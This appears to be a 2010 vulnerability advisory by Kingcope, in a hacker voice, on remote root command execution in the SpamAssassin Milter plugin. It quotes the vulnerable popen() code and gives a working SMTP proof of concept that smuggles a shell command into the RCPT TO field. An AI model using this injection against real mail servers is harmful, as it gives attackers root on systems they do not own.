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Description: The Spamassassin Milter plugin suffers from a remote root command execution vulnerability. Full exploit details provided. Author: Kingcope Spamassassin Milter Plugin Remote Root Zeroday (BTW zerodays lurk in the shadows not HERE) aka the postfix_joker advisory Logic fuckup? March 07 2010 // if you read this 10 years later you are definetly seeking the nice 0days! Greetz fly out to alex,andi,adize :D +++ KEEP IT ULTRA PRIV8 +++ Software +-+-+-+-+ Apache Spamassassin SpamAssassin is a mail filter which attempts to identify spam using a variety of mechanisms including text analysis, Bayesian filtering, DNS blocklists, and collaborative filtering databases. SpamAssassin is a project of the Apache Software Foundation (ASF). Postfix What is Postfix? It is Wietse Venema's mailer that started life at IBM research as an alternative to the widely-used Sendmail program. Postfix attempts to be fast, easy to administer, and secure. The outside has a definite Sendmail-ish flavor, but the inside is completely different. Spamassassin Milter A little plugin for the Sendmail Milter (Mail Filter) library that pipes all incoming mail (including things received by rmail/UUCP) through the SpamAssassin, a highly customizable SpamFilter. Remote Code Execution Vulnerability +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ The Spamassassin Milter Plugin can be tricked into executing any command as the root user remotely. If spamass-milter is run with the expand flag (-x option) it runs a popen() including the attacker supplied recipient (RCPT TO). >From spamass-milter-0.3.1 (-latest) Line 820: // // Gets called once for each recipient // // stores the first recipient in the spamassassin object and // stores all addresses and the number thereof (some redundancy) // sfsistat mlfi_envrcpt(SMFICTX* ctx, char** envrcpt) { struct context *sctx = (struct context*)smfi_getpriv(ctx); SpamAssassin* assassin = sctx->assassin; FILE *p; #if defined(__FreeBSD__) int rv; #endif debug(D_FUNC, "mlfi_envrcpt: enter"); if (flag_expand) { /* open a pipe to sendmail so we can do address expansion */ char buf[1024]; char *fmt="%s -bv \"%s\" 2>&1"; #if defined(HAVE_SNPRINTF) snprintf(buf, sizeof(buf)-1, fmt, SENDMAIL, envrcpt[0]); #else /* XXX possible buffer overflow here // is this a joke ?! */ sprintf(buf, fmt, SENDMAIL, envrcpt[0]); #endif debug(D_RCPT, "calling %s", buf); #if defined(__FreeBSD__) /* popen bug - see PR bin/50770 */ rv = pthread_mutex_lock(&popen_mutex); if (rv) { debug(D_ALWAYS, "Could not lock popen mutex: % s", strerror(rv)); abort(); } #endif p = popen(buf, "r"); [1] if (!p) { debug(D_RCPT, "popen failed(%s).Will not expand aliases", strerror(errno)); assassin->expandedrcpt.push_back(envrcpt[0]); [1] the vulnerable popen() call. Remote Root Exploit PoC through postfix +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ $ nc localhost 25 220 ownthabox ESMTP Postfix (Ubuntu) mail from: me@me.com 250 2.1.0 Ok rcpt to: root+:"|touch /tmp/foo" 250 2.1.5 Ok $ ls -la /tmp/foo -rw-r--r-- 1 root root 0 2010-03-07 19:46 /tmp/foo Signed, Kingcope |
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